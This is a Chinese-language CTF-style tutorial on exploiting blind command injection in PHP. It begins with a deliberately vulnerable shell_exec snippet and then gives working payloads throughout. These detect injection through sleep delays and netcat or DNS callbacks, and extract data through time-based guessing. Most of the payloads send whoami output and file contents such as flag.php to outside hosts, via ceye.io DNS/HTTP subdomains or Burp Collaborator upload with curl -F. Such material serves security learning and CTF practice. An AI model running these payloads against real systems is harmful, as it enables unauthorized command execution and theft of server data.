落木千山天远大,澄江一道月分明


命令执行可能会存在执行完命令但是没有回显的情况,例如如下代码:

1
2
3
<?php
shell_exec($_GET['cmd']);
?>

执行了但是没有在页面输出执行结果,这时我们可以通过一些方式去获取命令执行的结果。当然我们首先需要判断的是是否存在命令执行漏洞。

1. 命令执行无回显判断

1.1 根据代码逻辑判断

1.2 延时

在linux下可使用sleep函数,在windows下可以选择一些耗时的命令,例如ping -n 5 127.0.0.1

linux下:

linux.jpg

windows下:

windows.jpg

1.3 HTTP请求

使用自己的公网服务器来开起监听nc -lp 8888
目标服务器cmd=curl ip:8888
(ping命令不会产生http请求)

HTTP.jpg

1.4 DNS请求

(dnslog)
如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。

一般我们通过ping命令来测试dns外带数据,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现。限制ping的个数的参数在windows下是-n,在linux下是-c,为了兼容处理,也可联合使用-nc


2. 命令执行无回显利用

2.1 直接写入或外部下载shell执行命令

1
2
?cmd=whoami>test
?cmd=cp flag.php test

这个方法虽然简单,但是题目中可能会禁止使用cp命令,或者没有写权限
cp.jpg
cp1.jpg

2.2 通过http请求/dns请求等方式带出数据

2.2.1 利用平台 http://ceye.io/

payload:

1
2
3
4
5
6
linux:
curl http://ip.port.98c2l7.ceye.io/`whoami`
ping `whoami`.ip.port.98c2l7.ceye.io

windows:
ping %USERNAME%.98c2l7.ceye.io

联合其他linux命令使用:

1
2
3
4
5
cmd=curl http://98c2l7.ceye.io/`ls`
cmd=curl http://98c2l7.ceye.io/`cat flag.php`
cmd=curl http://98c2l7.ceye.io/`cat flag.php | sed -n '2p'` 使用sed命令查看flag.php文件第二行的内容
cmd=curl http://98c2l7.ceye.io/`cat flag.php | sed -n '2p' | base64` 空格不能被带出时使用base64进行编码
cmd=curl http://98c2l7.ceye.io/`ls -al| cut -c 3-10` 若长度太大,可以使用cut来分割字符(第一个字符下标为1)

http.jpg

http2.jpg

dns.jpg

2.2.2 利用burp

原理: 使用curl -F将flag文件上传到Burp的Collaborator Client。

Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies

操作步骤: 选择菜单Burp–>点击Burp Collaboraor Client

burp1.jpg

点击Copy to Clipboard,得到一个这样的链接:

1
q4vot2x0k1njaaxwjugud63ksby1mq.burpcollaborator.net

构造payload:(以i春秋的exec题目为例)

1
cmd=curl -F file=@flag233.php 5ci31h5fsgvyip5br9o9llbz0q6hu6.burpcollaborator.net

burp2.jpg

2.3 时间盲注

网络不通时,可以通过时间盲注将数据跑出来,主要借用&&||的惰性;在linux下可使用sleep函数,在windows下则可以选择一些耗时命令,如ping -n 5 127.0.0.1.

sleep

1
2
3
4
5
6
7
8
9
10
11
#请注意空格,测试环境ubuntu server 16.04
http://xxx.xxx.xx.xx/test.php?cmd=?cmd=if [ 1 == 1 ];then sleep 2;fi
http://xxx.xxx.xx.xx/test.php?cmd=?cmd=if [ 1 == 2 ];then sleep 2;fi

#注意空格,括号两端需要有空格字符来分隔,表达式中的参数与操作符也必须用空格隔开
http://xxx.xxx.xx.xx/test.php?cmd=if [ $( whoami | cut -c 1) = 'w' ];then sleep 2;fi
http://xxx.xxx.xx.xx/test.php?cmd=if [ $( whoami | cut -c 1) = 'r' ];then sleep 2;fi

#注意空格
http://xxx.xxx.xx.xx/test.php?cmd=if [ $( cat flag | cut -c 1) = '1' ];then sleep 2;fi
http://xxx.xxx.xx.xx/test.php?cmd=if [ $( cat flag | cut -c 1) = '2' ];then sleep 2;fi